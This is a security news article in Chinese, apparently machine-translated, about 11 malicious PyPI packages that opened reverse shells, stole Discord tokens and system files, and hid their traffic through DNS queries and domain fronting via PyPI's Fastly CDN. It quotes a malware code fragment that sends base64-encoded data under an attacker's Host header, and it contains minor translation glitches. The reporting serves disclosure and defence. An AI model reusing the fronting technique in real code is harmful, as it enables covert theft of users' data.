PyPI 目录中已识别出使用 PyPI CDN 隐藏通信通道的恶意库

在PyPI(Python包索引)目录中,识别出11个包含恶意代码的包。 在发现问题之前,这些软件包总共被下载了约 38 万次。 检测到的恶意软件包因其使用复杂的方法来隐藏与攻击者服务器的通信通道而引人注目。

  • importantpackage(6305 次下载)、important-package(12897 次)——以连接 pypi.python.org 为幌子建立了与外部服务器的连接,以提供对系统的 shell 访问(反向 shell),并使用 trevorc2 程序隐藏沟通渠道。
  • pptest (10001)、ipboards (946) - 使用 DNS 作为通信通道来传输有关系统的信息(第一个数据包中是主机名、工作目录、内部和外部 IP,第二个数据包中是用户名和主机名) 。
  • owlmoon (3285)、DiscordSafety (557)、yiffparty (1859) - 识别系统中的 Discord 服务令牌并将其发送到外部主机。
  • trrfab (287) - 将 /etc/passwd、/etc/hosts、/home 的标识符、主机名和内容发送到外部主机。
  • 10Cent10 (490) - 与外部主机建立反向 shell 连接。
  • yandex-yt (4183) - 显示一条有关系统受到威胁的消息,并重定向到一个页面,其中包含有关通过 nda.ya.ru (api.ya.cc) 发出的进一步操作的附加信息。

特别值得注意的是 importantpackage 和 important-package 包中使用的访问外部主机的方法,该方法使用 PyPI 目录中使用的 Fastly 内容交付网络来隐藏其活动。 事实上,请求被发送到 pypi.python.org 服务器(包括在 HTTPS 请求内的 SNI 中指定名称 python.org),但 HTTP“Host”标头包含攻击者控制的服务器的名称(第 XNUMX 节)。 forward.io.global.prod.fastly.net)。 内容分发网络在传输数据时使用与 pypi.python.org 的 TLS 连接的参数向攻击服务器发送类似的请求。

PyPI 基础设施由 Fastly 内容交付网络提供支持,该网络使用 Varnish 透明代理来缓存典型请求,并且还在 CDN 级别(而不是在终端服务器)使用 TLS 证书处理,以通过代理转发 HTTPS 请求。 无论目标主机如何,请求都会发送到代理,代理使用 HTTP“主机”标头确定所需的主机,并且主机域名绑定到所有 Fastly 客户端的典型 CDN 负载均衡器 IP 地址。

攻击者的服务器还向 CDN Fastly 注册,CDN Fastly 向所有人提供免费套餐,甚至允许匿名注册。 值得注意的是,在创建“反向 shell”时向受害者发送请求,也使用了一种方案,但从攻击者主机一侧发起。 从外部看,与攻击者服务器的交互看起来就像与 PyPI 目录的合法会话,并使用 PyPI TLS 证书进行加密。 一种类似的技术,称为“域前置”,以前被积极用于在绕过阻止时隐藏主机名,利用某些 CDN 网络中提供的功能,通过在 SNI 中指示虚构主机并实际传输该主机名来访问 HTTPS。 TLS 会话内 HTTP 主机标头中请求的主机。

PyPI 目录中已识别出使用 PyPI CDN 隐藏通信通道的恶意库

为了隐藏恶意活动,TrevorC2 包还被用来与服务器进行类似于常规 Web 导航的交互,例如,以下载图像“https://pypi.python.org/images/”为幌子发送恶意请求guid=”,在 guid 参数中包含信息编码。 url =“https://pypi.python.org”+“/images”+“?” + "guid=" + b64_payload r = request.Request(url, headers = {'Host': "psec.forward.io.global.prod.fastly.net"})

pptest 和 ipboards 软件包使用不同的方法来隐藏网络活动,该方法基于对 DNS 服务器查询中的有用信息进行编码。 该恶意软件通过执行“nu4timjagq4fimbuhe.example.com”等DNS请求来传输信息,其中传输到控制服务器的数据在子域名中使用base64格式进行编码。 攻击者通过控制 example.com 域的 DNS 服务器来接收这些消息。

来源: opennet.ru

添加评论